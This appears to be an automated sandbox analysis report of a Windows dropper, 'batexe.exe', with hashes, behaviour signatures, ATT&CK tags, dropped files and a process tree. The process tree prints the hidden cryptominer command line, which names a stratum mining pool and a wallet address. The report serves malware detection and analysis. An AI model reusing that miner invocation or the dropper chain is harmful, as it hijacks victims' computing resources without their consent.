73cc2881ef511788661955a624db9baf40ac16bc63266c5c3bb3fe62b4856d72

Analysis

max time kernel
293s
max time network
300s
platform
windows10-1703_x64
resource
win10-20240221-ja
resource tags

arch:x64arch:x86image:win10-20240221-jalocale:ja-jpos:windows10-1703-x64systemwindows
submitted
23/02/2024, 05:30

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General

Target

batexe.exe
Size

9.4MB
MD5

cdc9eacffc6d2bf43153815043064427
SHA1

d05101f265f6ea87e18793ab0071f5c99edf363f
SHA256

73cc2881ef511788661955a624db9baf40ac16bc63266c5c3bb3fe62b4856d72
SHA512

fc6945957e160bf7059c936c329aae438e6c1521e5e43a8434f58058230d89e818eb6ff80331a4b952dbb600b8cc134ecba54e5641bf549723c98f85e993fde6
SSDEEP

196608:ERAefrn9wcsTRAJgwusnWpV3h9XxSeEGaT+TKkGzySdUkI56kBIyky:E5Tn9YVwdnWLXxkvLlzkuv

Score

7^/10

upx

Malware Config

Signatures

Executes dropped EXE 2 IoCs

pid	Process
3016	b2e.exe
3664	cpuminer-sse2.exe

Loads dropped DLL 5 IoCs

pid	Process
3664	cpuminer-sse2.exe
3664	cpuminer-sse2.exe
3664	cpuminer-sse2.exe
3664	cpuminer-sse2.exe
3664	cpuminer-sse2.exe

UPX packed file 1 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral1/memory/3524-5-0x0000000000400000-0x000000000393A000-memory.dmp	upx

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious use of WriteProcessMemory 8 IoCs

description	pid	Process	procid_target
PID 3524 wrote to memory of 3016	3524	batexe.exe	75
PID 3524 wrote to memory of 3016	3524	batexe.exe	75
PID 3524 wrote to memory of 3016	3524	batexe.exe	75
PID 3016 wrote to memory of 2484	3016	b2e.exe	76
PID 3016 wrote to memory of 2484	3016	b2e.exe	76
PID 3016 wrote to memory of 2484	3016	b2e.exe	76
PID 2484 wrote to memory of 3664	2484	cmd.exe	79
PID 2484 wrote to memory of 3664	2484	cmd.exe	79

C:\Users\Admin\AppData\Local\Temp\batexe.exe
"C:\Users\Admin\AppData\Local\Temp\batexe.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:3524
- C:\Users\Admin\AppData\Local\Temp\74E2.tmp\b2e.exe
  "C:\Users\Admin\AppData\Local\Temp\74E2.tmp\b2e.exe" C:\Users\Admin\AppData\Local\Temp\74E2.tmp\b2e.exe C:\Users\Admin\AppData\Local\Temp "C:\Users\Admin\AppData\Local\Temp\batexe.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious use of WriteProcessMemory
  PID:3016
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\7724.tmp\batchfile.bat" "
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:2484
  - - C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe
      cpuminer-sse2.exe -a yespower -o stratum+tcp://yespower.sea.mine.zpool.ca:6234 --userpass=DJXKcu8iouhRppneQL9XbYQ9ovs87y4cYZ:c=doge -t 3
      4⤵
      Executes dropped EXE
      Loads dropped DLL
      PID:3664

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\74E2.tmp\b2e.exe

Filesize
2.4MB

MD5
6e9b61abac5af46fe8ab398f9fbddda2

SHA1
b7fdde67bcf23b2f6f22b3364f7a10ca9525d79b

SHA256
2d28213389e1da23806163c29b55f74489a625b5feec1d049efcee5f7fdd5d50

SHA512
d58215179b92671eb269fb6cfc48cab09f6d7b0e21a5a00b7edf841e11d5d71678bc560e06dba3d2c45b48b2a31897d16e33fc0617f2fd99818184792281f30e

Download Submit
C:\Users\Admin\AppData\Local\Temp\74E2.tmp\b2e.exe

Filesize
2.8MB

MD5
1cd1f1463362e82070bd38c1ad8de2d3

SHA1
02b59eedcca64d1bcdbebabb05228cd292c1fdde

SHA256
80c54200113264848b0a02dfef414bee7e1000ae8db116136fad1a6474d43e29

SHA512
f67290611bf4653411f513f696f93add280763b3da208f3ad6a5c2b171fde413daf0d6e4909a13d93a08eed4946e98332ba40d07e39ba686cf356da9d87c355f

Download Submit
C:\Users\Admin\AppData\Local\Temp\7724.tmp\batchfile.bat

Filesize
136B

MD5
8ea7ac72a10251ecfb42ef4a88bd330a

SHA1
c30f6af73a42c0cc89bd20fe95f9159d6f0756c5

SHA256
65e2674fc9b921a76deaf3740603359794c04e059e8937ab36eb931d65f40ec9

SHA512
a908979d588625aa24eb81238d07d88a56be5388e1265ebd2fe09889ed807aa9a4af77107e72a843c31acadbe06db0d7f6f6a3c95fb481a71e549e8eb74c2ff0

Download Submit
C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe

Filesize
2KB

MD5
01486236da1d98d6ae45e0ba9b889b9f

SHA1
f402416dcef6ca631bb5821caa8635ffd240fb7d

SHA256
3631468207e6ed6458f3a99361967ba6a9b05d682214932ad3f6a57ef9098398

SHA512
ddf629af25fee4cc8bbd54288f34b18d96660324c138fbed9087b48da7f20846b632c38bec4b68ae1921ebfae3fe745ed18b203b8b49fab7452bee9f05e3a09b

Download Submit
C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe

Filesize
2.0MB

MD5
5f4b8dc96e7920ae284c3ccc8c8f90f5

SHA1
5cc562ca2c4e022d6ce4481d1b618a4fc67c48ea

SHA256
f721f1249701bebfb621f8a7742214841885c9489e95b3afa9e94a0a1d9caf21

SHA512
66f852bc77764aba774753f1b9fde9531f592b52d8df7dd752a994e01de28f25d170cc68ca259c635977646205c093d17359b76b749fb3ab97f39c0359ea435b

Download Submit
C:\Users\Admin\AppData\Local\Temp\libcurl-4.dll

Filesize
836KB

MD5
aeab40ed9a8e627ea7cefc1f5cf9bf7a

SHA1
5e2e8ca2881b9bf9edfa3c4fdcec6da1efa102d8

SHA256
218cfc4073bab4eddf0de0804f96b204687311e20a9e97994bff54c9b0e01ee9

SHA512
c0a67616fa01fdc351015212a718faf70da6612fbb3ec13da28dd7af9a507c56882fb7c3eea6fbc37d4d63b970157199d16d0756dbe3cb3bc2223e215cb104d8

Download Submit
C:\Users\Admin\AppData\Local\Temp\libgcc_s_seh-1.dll

Filesize
1.2MB

MD5
7cf672bee2afba2dcd0c031ff985958e

SHA1
6b82a205db080ffdcb4a4470fce85a14413f3217

SHA256
c82f84171b9246d1cac261100b2199789c96c37b03b375f33b2c72afab060b05

SHA512
3e90d1c1efe0200cb3cc7b51d04783a3cce8391faa6ce554cff8b23dac60be9f8e4f980a8ac005fd9dff8ea4bdcb02311f7649c5be28eb32dcc26417fc4090e5

Download Submit
C:\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
1.5MB

MD5
81285f0247f3f8a201c98e7ee6e74447

SHA1
aaf4136ec7d5111e76ba8387816204cb88ba216e

SHA256
9f5325fd3a3110186d38d3e0fc555d26c5a72527f4f1c008c98a58ad77982ea9

SHA512
a7f84e29a33697bf82b18858436170fb3dbf6527c642f0c6f380cdc8e5e6f12133811cedf785ee1a5e482c7eecc84ad357e109eb3ac9f7f13aa40a416e2026e2

Download Submit
\Users\Admin\AppData\Local\Temp\libgcc_s_seh-1.dll

Filesize
915KB

MD5
65c4e12cd670ccf7e0028e8c3678362a

SHA1
5b7d809f72e2aeb5f9955df8e4d7a1ca6d6fe2cb

SHA256
63902068f91cf0098cb3faa70268ebe30abbe344aa832e87f5ad4f4b23c9c491

SHA512
b021d297f04e729b7bd92c8037dc88dd989c2dab34f0b006a6170584c20ad37f28c97b3262e5832c503b70425f5c96245a54eaa658b4b6b3ad4f206f43065c3f

Download Submit
\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
1.5MB

MD5
35490fb3beab36a8744af3cfbc762f4d

SHA1
e0e433b1a16c744667661bb73c52a4e82358a93f

SHA256
9dd35c12a81bedae6f003b871c6533410984b9c1143ce7f1adda0b0e5036d8ff

SHA512
9d2bc0baf8bd07200b1c310aa25dfe8710a4ed968249b6d30b177f8adface35f9a3f9e932238c568760b748f1e4c31744129f6dbc0fb8928bccc79d958abb128

Download Submit
\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
1.2MB

MD5
09e3ba1c7400bba3120a4baaecd254ec

SHA1
d0b8ff4bf1d6f8028b0de5f68ab128a599145c14

SHA256
c0c27d956f992fad658fb2959e83caf0885a67d8bc451afc268775ebcd9f8e0e

SHA512
ab08598f6b2f35a013d3a059653bfd967bf766fb3f946f288bfd3c98fff0e6bd3ed74f0f4f7d1c491c0f65ae8e2460d98fb116e4e4dd7658c889f14cadb54918

Download Submit
\Users\Admin\AppData\Local\Temp\libwinpthread-1.dll

Filesize
606KB

MD5
585efec1bc1d4d916a4402c9875dff75

SHA1
d209613666ccac9d0ddab29a3bc59aa00a0968fa

SHA256
2f9984c591a5654434c53e8b4d0c5c187f1fd0bab95247d5c9bc1c0bd60e6232

SHA512
b93163cba4601ed999a7a7d1887113792e846c36850c6d84f2d505727dc06524bb959469f9df12928769f4535dc6074a6b3599b788a4844353e466742ce1e770

Download Submit
memory/3016-50-0x0000000000400000-0x0000000000405000-memory.dmp

Filesize
20KB

Download
memory/3016-6-0x0000000000400000-0x0000000000405000-memory.dmp

Filesize
20KB

Download
memory/3524-5-0x0000000000400000-0x000000000393A000-memory.dmp

Filesize
53.2MB

Download
memory/3664-40-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/3664-42-0x0000000061440000-0x000000006156B000-memory.dmp

Filesize
1.2MB

Download
memory/3664-43-0x000000005AE90000-0x000000005AF28000-memory.dmp

Filesize
608KB

Download
memory/3664-44-0x00000000010D0000-0x0000000002985000-memory.dmp

Filesize
24.7MB

Download
memory/3664-41-0x0000000070800000-0x00000000708BC000-memory.dmp

Filesize
752KB

Download
memory/3664-51-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/3664-56-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/3664-61-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/3664-66-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/3664-71-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/3664-76-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/3664-86-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/3664-91-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/3664-96-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/3664-101-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download